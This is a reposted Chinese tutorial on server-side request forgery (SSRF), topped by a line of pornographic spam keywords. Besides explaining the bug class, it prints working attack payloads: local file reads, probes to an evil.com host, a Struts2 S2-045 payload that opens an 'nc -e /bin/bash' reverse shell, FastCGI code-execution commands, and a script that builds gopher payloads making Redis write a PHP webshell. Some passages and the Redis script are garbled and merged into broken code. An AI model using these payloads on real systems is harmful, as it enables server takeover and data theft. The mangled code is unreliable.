日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

SSRF漏洞详解

發(fā)布時間:2023/12/20 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SSRF漏洞详解 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

一、SSRF概述

SSRF全稱為Server-side Request Fogery,中文含義為服務(wù)器端請求偽造,漏洞產(chǎn)生的原因是服務(wù)端提供了能夠從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能,比如從指定的URL地址獲取網(wǎng)頁內(nèi)容,加載指定地址的圖片、數(shù)據(jù)、下載等等。

一般情況下,我們服務(wù)端請求的目標(biāo)都是與該請求服務(wù)器處于同一內(nèi)網(wǎng)的資源服務(wù),但是如果沒有對這個請求的目標(biāo)地址、文件等做充足的過濾和限制,攻擊者可通過篡改這個請求的目標(biāo)地址來進(jìn)行偽造請求,所以這個漏洞名字也叫作“服務(wù)器請求偽造”。

利用SSRF能實現(xiàn)以下效果:
1、可以對服務(wù)器所在的內(nèi)網(wǎng)、本地進(jìn)行端口掃描,獲取一些服務(wù)的banner信息
2、攻擊運行在內(nèi)網(wǎng)或本地的應(yīng)用程序(比如溢出)
3、對內(nèi)網(wǎng)web應(yīng)用進(jìn)行指紋識別,通過訪問應(yīng)用存在的默認(rèn)文件實現(xiàn);
4、攻擊內(nèi)外網(wǎng)的web應(yīng)用,主要是使用get參數(shù)就可以實現(xiàn)的攻擊(比如struts2漏洞利用等)
5、利用file協(xié)議讀取本地文件
6、利用Redis未授權(quán)訪問,HTTP CRLF注入達(dá)到getshell
7、DOS攻擊(請求大文件,始終保持連接keep alive always)等等

二、漏洞出現(xiàn)點

1、通過url地址分享網(wǎng)頁內(nèi)容功能處

2、轉(zhuǎn)碼服務(wù):通過URL地址把原地址的網(wǎng)頁內(nèi)容調(diào)優(yōu)使其適合手機屏幕瀏覽

3、在線翻譯

4、圖片加載與下載(一般通過url地址加載或下載圖片處)

5、圖片、文章收藏功能

6、未公開的api實現(xiàn)以及其他調(diào)用url的功能

7、云服務(wù)器商(它會遠(yuǎn)程執(zhí)行一些命令來判斷網(wǎng)站是否存活等,所以如果可以捕獲相應(yīng)的信息,就可以進(jìn)行ssrf測試)

8、有遠(yuǎn)程圖片加載的地方(編輯器之類的遠(yuǎn)程圖片加載處)

9、網(wǎng)站采集、網(wǎng)頁抓取的地方(一些網(wǎng)站會針對你輸入的url進(jìn)行一些信息采集工作)

10、頭像處(某易就喜歡遠(yuǎn)程加載頭像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)

11、郵件系統(tǒng)(比如接收郵件服務(wù)器地址)

12、編碼處理, 屬性信息處理,文件處理(比如ffpmg,ImageMagick,docx,pdf,xml處理器等)

13、從遠(yuǎn)程服務(wù)器請求資源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎對象的地方 如wordpress xmlrpc.php)

14、從URL關(guān)鍵字中尋找

share wap url link src source target u 3g display sourceURl imageURL domain

三、SSRF漏洞利用

1、產(chǎn)生SSRF漏洞的代碼

ssrf攻擊可能存在任何語言編寫的應(yīng)用,接下來我們將展示php中可能存在SSRF漏洞的函數(shù)。

file_get_content() 、fsockopen() 、curl_exec()

1.1、file_get_contents

下面的代碼使用file_get_contents函數(shù)從用戶指定的url獲取圖片。然后把它用一個隨即文件名保存在硬盤上,并展示給用戶。

<?php if (isset($_POST['url'])) {$content = file_get_contents($_POST['url']);$filename ='./images/'.rand().';img1.jpg';file_put_contents($filename, $content); echo $_POST['url'];$img = "<img src=\"".$filename."\"/>"; } echo $img; ?>

1.2、fsockopen()

使用fsockopen函數(shù)實現(xiàn)獲取用戶制定url的數(shù)據(jù)(文件或者h(yuǎn)tml)。這個函數(shù)會使用socket跟服務(wù)器建立tcp連接,傳輸原始數(shù)據(jù)。

<?phpfunction GetFile($host,$port,$link){$fp = fsockopen($host, intval($port),$errno, $errstr, 30); if (!$fp){echo "$errstr (error number $errno) \n"; } else {$out = "GET $link HTTP/1.1\r\n";$out .= "Host: $host\r\n" $out .= "Connection: Close\r\n\r\n";$out .= "\r\n"; fwrite($fp, $out);$contents='';while (!feof($fp)){$contents.= fgets($fp, 1024);}fclose($fp);return $contents;}} ?>

1.3、curl_exec()

使用curl發(fā)送請求獲取數(shù)據(jù)。

<?phpif (isset($_POST['url'])) {$link = $_POST['url'];$curlobj = curl_init();curl_setopt($curlobj, CURLOPT_POST, 0);curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, TRUE); TRUE 將curl_exec()獲取的信息以字符串返回,而不是直接輸出。 $result=curl_exec($curlobj);curl_close($curlobj);$filename = './curled/'.rand().'.txt';file_put_contents($filename, $result);echo $result; } ?>

2、繞過方法

url解析規(guī)則

IP地址進(jìn)制轉(zhuǎn)換

302跳轉(zhuǎn)

DNS重綁定

2.1、@符

對于一個 url 的訪問實際上是以 @符后為準(zhǔn)的,比如說 xxxx.com@10.10.10.10,則實際上訪問的是 10.10.10.10 這個地址

2.2、302跳轉(zhuǎn)

網(wǎng)址后加 xip.io

其原理是例如 10.10.10.10.xip.io 會被解析成 10.10.10.10

2.3、數(shù)字IP Bypass

IP進(jìn)制轉(zhuǎn)換/Enclosed Alphanumerics/特殊地址

進(jìn)制轉(zhuǎn)換

ip 轉(zhuǎn)換為八進(jìn)制十進(jìn)制十六進(jìn)制這種,同樣也可以正常訪問

Enclosed Alphanumerics

由英文字母數(shù)字組成的Unicode字符集,位于圓圈,括號或其他未封閉的封閉空間內(nèi),或以句號結(jié)尾。如下

???????.??? >>> example.com ①②⑦.?.?.① >>> 127.0.0.1

特殊地址:

http://0/ # 0.0.0.0可以直接訪問到本地 http://127。0。0。1 # 繞過后端正則規(guī)則 http://localhost/

2.4、短網(wǎng)址繞過

2.5、添加端口號

http://127.0.0.1:8080

2.6、協(xié)議限制繞過

當(dāng)url協(xié)議限定只為http(s)時,可以利用follow redirect 特性
構(gòu)造302跳轉(zhuǎn)服務(wù),
結(jié)合dict:// file:// gopher://

2.7、DNS重綁定

對于用戶請求的URL參數(shù),首先服務(wù)器端會對其進(jìn)行DNS解析,然后對于DNS服務(wù)器返回的IP地址進(jìn)行判斷,如果在黑名單中,就pass掉

但是在整個過程中,第一次去請求DNS服務(wù)進(jìn)行域名解析到第二次服務(wù)端去請求URL之間存在一個時間差,利用這個時間差,我們可以進(jìn)行DNS 重綁定攻擊。我們利用DNS Rebinding技術(shù),在第一次校驗IP的時候返回一個合法的IP,在真實發(fā)起請求的時候,返回我們真正想要訪問的內(nèi)網(wǎng)IP即可

要完成DNS重綁定攻擊,我們需要一個域名,并且將這個域名的解析指定到我們自己的DNS Server,在我們的可控的DNS Server上編寫解析服務(wù),設(shè)置TTL(TTL表示DNS記錄在DNS服務(wù)器上緩存時間)時間為0,這是為了防止有DNS服務(wù)器對第一次的解析結(jié)果進(jìn)行緩存

完整的DNS重綁定攻擊流程為:

1、服務(wù)器端獲得URL參數(shù),進(jìn)行第一次DNS解析,獲得了一個非內(nèi)網(wǎng)的IP 2、對于獲得的IP進(jìn)行判斷,發(fā)現(xiàn)為指定范圍IP,則通過驗證 3、接下來服務(wù)器端對URL進(jìn)行訪問,由于DNS服務(wù)器設(shè)置的TTL為0,所以再次進(jìn)行DNS解析,這一次DNS服務(wù)器返回的是內(nèi)網(wǎng)地址 4、由于已經(jīng)繞過驗證,所以服務(wù)器端返回訪問內(nèi)網(wǎng)資源的內(nèi)容

3、SSRF 漏洞的驗證

ssrf漏洞可分為有回顯型和無回顯型,有回顯型ssrf可以直接通過頁面加載出目標(biāo)資產(chǎn),可先嘗試加載http://www.baidu.com 頁面確認(rèn)有ssrf,如果成功的話,可進(jìn)一步將百度換成內(nèi)網(wǎng)IP,通過fuzz掃描內(nèi)網(wǎng)資產(chǎn)。

無回顯型ssrf的檢測需要先配合dnslog平臺,測試dnslog平臺能否獲取到服務(wù)器的訪問記錄,如果沒有對應(yīng)記錄,也可能是服務(wù)器不出網(wǎng)造成的,利用時可以通過請求響應(yīng)時間判斷內(nèi)網(wǎng)資產(chǎn)是否存在,然后再利用內(nèi)網(wǎng)資產(chǎn)漏洞(比如redis以及常見可RCE的web框架)證明漏洞的有效性。

3.1、基本判斷(排除法)

http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png

排除法一:

我們先驗證,請求是否是服務(wù)器端發(fā)出的,可以右鍵圖片,使用新窗口打開圖片,如果瀏覽器上地址欄是http://www.baidu.com/img/bd_logo1.png,說明不存在SSRF漏洞。

排除法二:

你可以使用burpsuite等抓包工具來判斷是否不是SSRF,首先SSRF是由服務(wù)端發(fā)起的請求,因此在加載圖片的時候,是由服務(wù)端發(fā)起的,所以在我們本地瀏覽器的請求中就不應(yīng)該存在圖片的請求,在此例子中,如果刷新當(dāng)前頁面,有如下請求,則可判斷不是SSRF。(前提設(shè)置burpsuite截斷圖片的請求,默認(rèn)是放行的)

3.2、實例驗證

經(jīng)過簡單的排除驗證之后,我們就要驗證看看此URL是否可以來請求對應(yīng)的內(nèi)網(wǎng)地址。在此例子中,首先我們要獲取內(nèi)網(wǎng)存在HTTP服務(wù)且存在favicon.ico文件的地址,才能驗證是否是SSRF漏洞。

找存在HTTP服務(wù)的內(nèi)網(wǎng)地址:
一、從漏洞平臺中的歷史漏洞尋找泄漏的存在web應(yīng)用內(nèi)網(wǎng)地址
二、通過二級域名暴力猜解工具模糊猜測內(nèi)網(wǎng)地址

example:ping xx.xx.com.cn 可以推測10.215.x.x 此段就有很大的可能: http://10.215.x.x/favicon.ico 存在。

4、SSRF利用

4.1、內(nèi)網(wǎng)資源訪問

url?url=http://內(nèi)網(wǎng)的資源url

偽協(xié)議

file:/// dict:// sftp:// ldap:// tftp:// gopher://
file://

這種URL Schema可以嘗試從文件系統(tǒng)中獲取文件:

http://example.com/ssrf.php?url=file:///etc/passwd http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果該服務(wù)器阻止對外部站點發(fā)送HTTP請求,或啟用了白名單防護(hù)機制,只需使用如下所示的URL Schema就可以繞過這些限制:

dict://

這種URL Scheme能夠引用允許通過DICT協(xié)議使用的定義或單詞列表:

http://example.com/ssrf.php?dict://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
sftp://

在這里,Sftp代表SSH文件傳輸協(xié)議(SSH File Transfer Protocol),或安全文件傳輸協(xié)議(Secure File Transfer Protocol),這是一種與SSH打包在一起的單獨協(xié)議,它運行在安全連接上,并以類似的方式進(jìn)行工作。

http://example.com/ssrf.php?url=sftp://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
ldap://或ldaps:// 或ldapi://

LDAP代表輕量級目錄訪問協(xié)議。它是IP網(wǎng)絡(luò)上的一種用于管理和訪問分布式目錄信息服務(wù)的應(yīng)用程序協(xié)議。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
tftp://

TFTP(Trivial File Transfer Protocol,簡單文件傳輸協(xié)議)是一種簡單的基于lockstep機制的文件傳輸協(xié)議,它允許客戶端從遠(yuǎn)程主機獲取文件或?qū)⑽募蟼髦吝h(yuǎn)程主機。

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET evil.com:# nc -lvup 1337 Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
gopher://

gopher協(xié)議:互聯(lián)網(wǎng)上使用的分布型的文件搜集獲取網(wǎng)絡(luò)協(xié)議,是一種分布式文檔傳遞服務(wù)。利用該服務(wù),用戶可以無縫地瀏覽、搜索和檢索駐留在不同位置的信息。

Gopher是Internet上一個信息查找系統(tǒng),它將Internet上的文件組織成某種索引,方便用戶從Internet的處帶到另一處。在WWW出現(xiàn)之前,Gopher是Internet上最主要的信息檢索工具。使用tcp 70端口。但在WWW出現(xiàn)后,Gopher失去了昔日的輝煌。現(xiàn)在它基本過時,人們很少再使用它;gopher協(xié)議支持發(fā)出GET、POST請求。

gopher協(xié)議支持發(fā)出GET、POST請求:可以先截獲get請求包和post請求包,在構(gòu)成符合gopher協(xié)議的請求。gopher協(xié)議是ssrf利用中最強大的協(xié)議 使用方法:gopher://ip:port/_payload(需要%0d%0A回車換行) 默認(rèn)端口是70

GET請求

在windows端開啟一個nc監(jiān)聽:

nc -lp 8989

在kali用gopher協(xié)議向windows發(fā)送一個get請求:

curl gopher://192.168.1.120:8989/suibianxie

windows端立即收到響應(yīng),不過第一個字符被吃掉了。

在gopher協(xié)議中發(fā)送HTTP的數(shù)據(jù),需要以下三步:

1、構(gòu)造HTTP數(shù)據(jù)包
2、URL編碼、替換回車換行為%0d%0a
3、發(fā)送gopher協(xié)議

在向服務(wù)器發(fā)送請求時,首先瀏覽器會進(jìn)行一次 URL解碼,其次服務(wù)器收到請求后,在執(zhí)行curl功能時,進(jìn)行第二次 URL解碼。

如果多個參數(shù),參數(shù)之間的&也需要進(jìn)行URL編碼

構(gòu)造GET型的HTTP包,如下:

GET /ssrf/test/get.php?name=Qianxun HTTP/1.1 Host: 192.168.1.120

URL編碼后為:

curl gopher://192.168.1.120:80/_GET%20/ssrf/test/get.php%3fname=Qianxun%20HTTP/

在轉(zhuǎn)換為URL編碼時候有這么幾個坑

1、問號(?)需要轉(zhuǎn)碼為URL編碼,也就是%3f
2、回車換行要變?yōu)?0d%0a,但如果直接用工具轉(zhuǎn),可能只會有%0a
3、在HTTP包的最后要加%0d%0a,代表消息結(jié)束(具體可研究HTTP包結(jié)束)

POST請求

發(fā)送POST請求前,先看下POST數(shù)據(jù)包的格式

注:在使用 Gopher協(xié)議發(fā)送 POST請求包時,Host、Content-Type和Content-Length請求頭是必不可少的,但在 GET請求中可以沒有。

POST /ssrf/test/post.php HTTP/1.1 host:192.168.1.120 Content-Type:application/x-www-form-urlencoded Content-Length:12name=Qianxun

將上面的POST數(shù)據(jù)包進(jìn)行URL編碼并改為gopher協(xié)議

curl gopher://192.168.1.120:80/_POST%20/ssrf/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.120%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Qianxun%0d%0A

要注意gopher的url后面的占位字符。

在向服務(wù)器發(fā)送請求時,首先瀏覽器會進(jìn)行一次 URL解碼,其次服務(wù)器收到請求后,在執(zhí)行curl功能時,進(jìn)行第二次 URL解碼。

如果多個參數(shù),參數(shù)之間的&也需要進(jìn)行URL編碼

如何使用gopher協(xié)議反彈shell?

今天我們用到的漏洞是Struts2-045漏洞,相信很多大佬不陌生,以下為S2-045漏洞反彈shell的利用代碼,我們在本地機器上執(zhí)行:nc -lp 6666

GET /S2-045/ HTTP/1.1 Host: 192.168.0.119 Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.0.119 6666').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

在SSRF中如何使用gopher協(xié)議反彈shell?

前提條件: PhP版本必須大于等于5.3 PHP.ini文件中開啟了extension=php_curl.dll

需要利用具體漏洞。。。。。。。

4.2、利用SSRF進(jìn)行端口掃描

提交對應(yīng)參數(shù)url包括IP地址:端口 測試端口狀態(tài)。

url?url=http://127.0.0.1:3306

大多數(shù)社交網(wǎng)站都提供了通過用戶指定的url上傳圖片的功能。如果用戶輸入的url是無效的。大部分的web應(yīng)用都會返回錯誤信息。攻擊者可以輸入一些不常見的但是有效的URI,然后根據(jù)服務(wù)器的返回信息來判斷端口是否開放。大部分應(yīng)用并不會去判斷端口,只要是有效的URL,就發(fā)出了請求。而大部分的TCP服務(wù),在建立socket連接的時候就會發(fā)送banner信息,banner信息是ascii編碼的,能夠作為原始的html數(shù)據(jù)展示。當(dāng)然,服務(wù)端在處理返回信息的時候一般不會直接展示,但是不同的錯誤碼,返回信息的長度以及返回時間都可以作為依據(jù)來判斷遠(yuǎn)程服務(wù)器的端口狀態(tài)。

4.3、攻擊應(yīng)用程序

內(nèi)網(wǎng)的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通過ssrf攻擊,可以實現(xiàn)對內(nèi)網(wǎng)的訪問,從而可以攻擊內(nèi)網(wǎng)或者本地機器,獲得shell等。

4.3.1、FastCGI

參考:https://bbs.ichunqiu.com/thread-58455-1-1.html

? https://blog.csdn.net/weixin_39664643/article/details/114977217

維基百科的解釋:快速通用網(wǎng)關(guān)接口Fast Common Gateway Interface/FastCGI)是一種讓交互程序與Web服務(wù)器通信的協(xié)議。FastCGI是早期通用網(wǎng)關(guān)接口(CGI)的增強版本。FastCGI致力于減少網(wǎng)頁服務(wù)器與CGI程序之間交互的開銷,從而使[服務(wù)器可以同時處理更多的網(wǎng)頁請求。

CGI:是 Web Server 與 Web Application 之間數(shù)據(jù)交換的一種協(xié)議 FastCGI:同 CGI,是一種通信協(xié)議,對比 CGI 提升了5倍以上性能 PHP-CGI:是 PHP(Web Application)對 Web Server 提供的 CGI 協(xié)議的接口程序 PHP-FPM:是 PHP(Web Application)對 Web Server 提供的 FastCGI 協(xié)議的接口程序,額外還提供了相對智能的任務(wù)管理功能

FastCGI協(xié)議

HTTP協(xié)議是瀏覽器和服務(wù)器中間件進(jìn)行數(shù)據(jù)交換的協(xié)議,類比HTTP協(xié)議來說,fastcgi協(xié)議則是服務(wù)器中間件和某個語言后端(如PHP-FPM)進(jìn)行數(shù)據(jù)交換的協(xié)議

Fastcgi協(xié)議由多個record組成,record也有header和body一說,服務(wù)器中間件將這二者按照fastcgi的規(guī)則封裝好發(fā)送給語言后端(PHP-FPM),語言后端(PHP-FPM)解碼以后拿到具體數(shù)據(jù),進(jìn)行指定操作,并將結(jié)果再按照該協(xié)議封裝好后返回給服務(wù)器中間件

record的頭固定8個字節(jié),body是由頭中的contentLength指定 typedef struct {/* Header */unsigned char version; // 版本unsigned char type; // 本次record的類型unsigned char requestIdB1; // 本次record對應(yīng)的請求idunsigned char requestIdB0;unsigned char contentLengthB1; // body體的大小unsigned char contentLengthB0;unsigned char paddingLength; // 額外塊大小unsigned char reserved; /* Body */unsigned char contentData[contentLength];unsigned char paddingData[paddingLength]; } FCGI_Record;

語言端(PHP-FPM)解析了FastCGI頭以后,拿到contentLength,然后再在TCP流里讀取大小等于contentLength的數(shù)據(jù),這就是body體

Body后面還有一段額外的數(shù)據(jù)(Padding),其長度由頭中的paddingLength指定,起保留作用不需要該Padding的時候,將其長度設(shè)置為0即可

可見,一個FastCGI record結(jié)構(gòu)最大支持的body大小是2^16,也就是65536字節(jié)

其中,header中的type代表本次record的類型

服務(wù)器中間件和后端語言(PHP-FPM)通信,第一個數(shù)據(jù)包就是type為1的record,后續(xù)互相交流,發(fā)送type為4、5、6、7的record,結(jié)束時發(fā)送type為2、3的record

用戶訪問http://127.0.0.1/index.php?a=1&b=2,如果web目錄是/var/www/html,那么服務(wù)器中間件(Nginx)會將這個請求變成如下key-value對:

{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1' }

這個數(shù)組其實就是PHP中SERVER數(shù)組的一部分,也就是PHP里的環(huán)境變量。但環(huán)境變量的作用不僅是填充_SERVER數(shù)組的一部分,也就是PHP里的環(huán)境變量。但環(huán)境變量的作用不僅是填充S?ERVER數(shù)PHP環(huán)環(huán)_SERVER數(shù)組,也是告訴FPM:“我要執(zhí)行哪個PHP文件”

當(dāng)后端語言(PHP-FPM)拿到由Nginx發(fā)過來的FastCGI數(shù)據(jù)包后,進(jìn)行解析,得到上述這些環(huán)境變量。然后,執(zhí)行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

PHP-FPM默認(rèn)監(jiān)聽9000端口,如果這個端口暴露在公網(wǎng),則我們可以自己構(gòu)造FastCGI協(xié)議,和FPM進(jìn)行通信

FPM默認(rèn)配置中增加了security.limit_extensions選項,其限定了只有某些后綴的文件允許被FPM執(zhí)行,默認(rèn)是.php。

現(xiàn)在,拿到了文件名,我們能控制SCRIPT_FILENAME,卻只能執(zhí)行目標(biāo)服務(wù)器上的文件,并不能執(zhí)行我們想要執(zhí)行的任意代碼,但我們可以通過構(gòu)造type值為4的record,也就是設(shè)置向PHP-FPM傳遞的環(huán)境變量來達(dá)到任意代碼執(zhí)行的目的

PHP.INI中有兩個有趣的配置項,auto_prepend_file和auto_append_file

auto_prepend_file是告訴PHP,在執(zhí)行目標(biāo)文件之前,先包含auto_prepend_file中指定的文件 auto_append_file是告訴PHP,在執(zhí)行完成目標(biāo)文件后,包含auto_append_file指向的文件

若我們設(shè)置auto_prepend_file為php://input(allow_url_include=on),那么就等于在執(zhí)行任何PHP文件前都要包含一遍POST的內(nèi)容。所以,我們只需要把待執(zhí)行的代碼放在FastCGI協(xié)議 Body中,它們就能被執(zhí)行了

最終,我們設(shè)置向PHP-FPM傳遞的環(huán)境變量:

{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1''PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On' }

最后兩行設(shè)置auto_prepend_file = php://input且allow_url_include = On,然后將我們需要執(zhí)行的代碼放在Body中,即可執(zhí)行任意代碼

方法一:

使用fcgi_exp和nc

# 監(jiān)聽9000端口 nc -lvvp 9000 > exp.txt 來接收payload另外開啟一個終端使用下面的命令發(fā)送payload ./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id"exp.txt 文件里的內(nèi)容有部分是不可見字符,這里需要url編碼一下,這里寫一個Python腳本對文件中的內(nèi)容進(jìn)行編碼 # -*- coding: UTF-8 -*- from urllib.parse import quote, unquote, urlencodefile = open('fcg_exp.txt','r') payload = file.read() print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))

方法二:

Gopherus攻擊

gopher工具生成payload

這個工具相比上一個更加方便一下,該工具能生成Gopher有效負(fù)載,用來利用ssrf獲得RCE,下面利用這個工具來執(zhí)行命令

python gopherus.py --exploit fastcgi /var/www/html/index.php #這里輸入的是一個已知存在的php文件 whoami
4.3.2、Redis

參考:https://blog.csdn.net/LUOBIKUN/article/details/109190546

當(dāng)存在SSRF漏洞且內(nèi)網(wǎng)中Redis服務(wù)可以未授權(quán)訪問時,利用Redis 任意文件寫入成為十分常見的利用方式,一般內(nèi)網(wǎng)中會存在 root 權(quán)限運行的 Redis 服務(wù),利用 Gopher 協(xié)議可以攻擊內(nèi)網(wǎng)中的 Redis。

Redis服務(wù)器與客戶端通過RESP(REdis Serialization Protocol)協(xié)議通信

RESP協(xié)議是在Redis 1.2中引入的,但它成為了與Redis 2.0中的Redis服務(wù)器通信的標(biāo)準(zhǔn)方式

RESP實際上是一個支持以下數(shù)據(jù)類型的序列化協(xié)議:

簡單字符串 錯誤 整數(shù) 批量字符串 數(shù)組

RESP在Redis中用作請求 - 響應(yīng)協(xié)議的方式如下:

客戶端將命令作為Bulk Strings的RESP數(shù)組發(fā)送到Redis服務(wù)器 服務(wù)器根據(jù)命令實現(xiàn)回復(fù)一種RESP類型

在RESP中,某些數(shù)據(jù)的類型取決于第一個字節(jié):

對于客戶端請求Simple Strings,回復(fù)的第一個字節(jié)是+ 對于客戶端請求error,回復(fù)的第一個字節(jié)是- 對于客戶端請求Integer,回復(fù)的第一個字節(jié)是: 對于客戶端請求Bulk Strings,回復(fù)的第一個字節(jié)是$ 對于客戶端請求array,回復(fù)的第一個字節(jié)是*

此外,RESP能夠使用稍后指定的Bulk Strings或Array的特殊變體來表示Null值。

在RESP中,協(xié)議的不同部分始終以"\r\n"(CRLF)結(jié)束。

當(dāng)訪問http://10.1.8.159/ssrf.php?url=127.0.0.1時,可以發(fā)現(xiàn),url未對內(nèi)部地址做過濾,存在SSRF漏洞 探測redis默認(rèn)端口6379: http://10.1.8.159/ssrf.php?url=dict://127.0.0.1:6379/info

redis客戶端中執(zhí)行如下命令

192.168.163.128:6379> set name test OK 192.168.163.128:6379> get name "test" 192.168.163.128:6379>

抓到的數(shù)據(jù)包如下

hex轉(zhuǎn)儲看一下

正如我們前面所說的,客戶端向?qū)⒚钭鳛锽ulk Strings的RESP數(shù)組發(fā)送到Redis服務(wù)器,然后服務(wù)器根據(jù)命令實現(xiàn)回復(fù)給客戶端一種RESP類型。
我們就拿上面的數(shù)據(jù)包分析,首先是*3,代表數(shù)組的長度為3(可以簡單理解為用空格為分隔符將命令分割為[“set”,“name”,“test”]);$4代表字符串的長度,0d0a即\r\n表示結(jié)束符;+OK表示服務(wù)端執(zhí)行成功后返回的字符串

利用

redis常見的SSRF攻擊方式大概有這幾種:

  • 絕對路徑寫webshell
  • 寫ssh公鑰
  • 反彈shell
  • 寫webshell

    構(gòu)造redis命令

    flushall set 1 '<?php eval($_GET["cmd"]);?>' config set dir /var/www/html config set dbfilename shell.php save

    寫了一個簡單的腳本,轉(zhuǎn)化為redis RESP協(xié)議的格式

    import urllib protocol="gopher://" ip="192.168.163.128" port="6379" shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"] if passwd:cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFimport urllib from urllib import parseprotocol = "gopher://" ip = "127.0.0.1" port = "6379" shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename = "shell.php" path = "/var/www/html" passwd = "" cmd = ["flushall","set 1 {}".format(shell.replace(" ", "${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"] if passwd:cmd.insert(0, "AUTH {}".format(passwd)) payload_prefix = protocol + ip + ":" + port + "/_" CRLF = "\r\n"def redis_format(arr):redis_arr = arr.split(" ")cmd_ = ""cmd_ += "*" + str(len(redis_arr))for x_ in redis_arr:cmd_ += CRLF + "$" + str(len((x_.replace("${IFS}", " ")))) + CRLF + x_.replace("${IFS}", " ")cmd_ += CRLFreturn cmd_if __name__ == "__main__":payload = ""for x in cmd:payload += parse.quote(redis_format(x)) # url編碼payload = payload_prefix + parse.quote(payload) # 再次url編碼print(payload)return cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print payload

    寫ssh公鑰

    如果.ssh目錄存在,則直接寫入~/.ssh/authorized_keys
    如果不存在,則可以利用crontab創(chuàng)建該目錄

    首先在靶機中創(chuàng)建ssh公鑰存放目錄(一般是/root/.ssh)

    mkdir /root/.ssh

    靶機中開啟redis服務(wù)

    redis-server /etc/redis.conf

    在攻擊機中生成ssh公鑰和私鑰,密碼設(shè)置為空:

    ssh-keygen -t rsa

    進(jìn)入.ssh目錄,然后將生成的公鑰寫入 ceshi.txt 文件

    cd /root/.ssh (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >ceshi.txt

    然后在.ssh目錄,可以看到ceshi.txt中已經(jīng)保存了公鑰:

